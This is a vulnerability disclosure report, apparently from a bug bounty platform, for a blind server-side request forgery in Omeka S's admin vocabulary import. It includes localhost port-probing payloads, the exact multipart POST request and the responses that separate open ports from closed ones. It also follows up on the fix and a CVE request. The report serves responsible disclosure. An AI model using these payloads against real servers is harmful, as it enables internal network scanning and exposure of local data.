Server Side Request Forgery (SSRF) in omeka/omeka-s
Reported on
Jul 16th 2023
Description
There is Blind SSRF on the vocabulary screen in the administrator screen.
Proof of Concept
Step 1. Log in to the administrator screen and access "Import new vocabulary" from the "vocabulary" page.
Step 2. Specify the following Payload in the "Vocabulary URL" field and check that the local environment can be accessed from the response result. (File format: JSON-LD)
Payload
Open Port
http://localhost:80
Open Port
http://localhost:443
Closed Port
http://localhost:1234
Request
POST /admin/vocabulary/import HTTP/1.1
...
-----------------------------28807843559236410972421406436
Content-Disposition: form-data; name="vocabulary-file[url]"
http://localhost:80
-----------------------------28807843559236410972421406436
Content-Disposition: form-data; name="vocabulary-file[format]"
jsonld
-----------------------------28807843559236410972421406436
...
Response Result
Open Port
Unable to load the remote document "<!DOCTYPE html ...
Closed Port
Unable to connect to localhost:1234 (Connection refused)
PoC Video
https://drive.google.com/file/d/10SmI9dtRewubES4kRHHk2xyupG_GxLF5/view?usp=sharing
Impact
It is possible to perform a port scan against the host's local environment.
Also, sensitive information in the local environment may be obtained.
Thank you for reviewing and approving my report. I will continue to wait for requests for fixes and CVEs.
@zerocrates Thanks for the fix and pull merge. Could you please submit a corrected mark and CVE assignment request?